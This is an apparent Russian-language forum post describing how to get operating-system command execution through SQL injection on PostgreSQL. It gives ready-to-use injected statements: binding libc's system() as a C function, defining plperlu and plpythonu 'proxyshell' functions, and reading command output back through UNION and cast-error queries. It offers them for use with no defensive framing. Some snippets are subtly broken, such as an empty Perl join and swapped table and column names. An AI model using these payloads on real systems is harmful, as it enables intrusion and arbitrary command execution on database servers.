Небольшое дополнение в тему создания функций.
1. В PostgreSQL < 8.1 есть возможность добавить функцию из библиотеки:
Создаем таблицу stdout с колонками id,system_out.
CREATE TABLE stdout(id serial, system_out text)--
Создаем функцию system().
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C' STRICT--
Выполняем произвольную команду и записываем результат её выполнения в /tmp/test.
SELECT system('uname -a > /tmp/test')--
Копируем данные из /tmp/test в таблицу stdout.
COPY stdout(system_out) FROM '/tmp/test'--
Выводим данные на экран.
UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--
2. Чуть подругому через plperl:
Создаем язык, если он не был создан.
Создаем функцию proxyshell().
CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",);' LANGUAGE plperlu;
Выполняем команду и выводим на экран.
SELECT+proxyshell('uname -a')::int--
3. И напоследок через plpython:
Создаем функцию proxyshell().
CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read()' LANGUAGE plpythonu;--
Наслаждаемся выполнением команд)
SELECT+proxyshell('uname -a')::int--